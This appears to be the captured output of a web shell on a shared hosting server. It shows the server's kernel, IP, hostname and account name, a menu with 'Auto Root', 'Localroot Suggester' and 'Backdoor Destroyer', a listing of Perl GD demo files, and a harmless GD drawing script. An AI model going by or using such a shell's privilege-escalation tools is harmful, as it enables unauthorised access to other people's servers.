Linux sagir-us1.hostever.us 5.14.0-570.51.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 8 09:41:34 EDT 2025 x86_64
LiteSpeed
Server IP : 104.247.108.91 & Your IP : 216.73.216.105
Domains : 74 Domain
User : georgeto
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
doc /
perl-GD /
demos /
Delete
Unzip
Name
Size
Permission
Date
Action
brushes.pl
923
B
-rwxr-xr-x
2021-12-22 15:12
copies.pl
1.07
KB
-rwxr-xr-x
2021-12-22 15:12
draw_colors.pl
944
B
-rwxr-xr-x
2021-12-22 15:12
fills.pl
590
B
-rwxr-xr-x
2021-12-22 15:12
font_list.png
21.56
KB
-rw-r--r--
2017-04-20 11:27
fonttest
936
B
-rwxr-xr-x
2017-04-20 11:27
gd_example.cgi
683
B
-rwxr-xr-x
2021-12-22 15:12
polyline.pl
8.64
KB
-rw-r--r--
2021-12-22 15:12
polys.pl
785
B
-rwxr-xr-x
2021-12-22 15:12
shapes.pl
1.26
KB
-rwxr-xr-x
2021-12-22 15:12
tile.png
280
B
-rw-r--r--
2017-04-20 11:27
transform.pl
698
B
-rwxr-xr-x
2021-12-22 15:12
truetype_test
864
B
-rwxr-xr-x
2021-12-22 15:12
ttf.pl
736
B
-rwxr-xr-x
2021-12-22 15:12
Save
Rename
#!/usr/bin/perl use GD; $im = new GD::Image(100,50); # allocate black -- this will be our background $black = $im->colorAllocate(0, 0, 0); # allocate white $white = $im->colorAllocate(255, 255, 255); # allocate red $red = $im->colorAllocate(255, 0, 0); # allocate blue $blue = $im->colorAllocate(0,0,255); #Inscribe an ellipse in the image $im->arc(50, 25, 98, 48, 0, 360, $white); # Flood-fill the ellipse. Fill color is red, and will replace the # black interior of the ellipse $im->fill(50, 21, $red); binmode STDOUT; # print the image to stdout print $im->png;
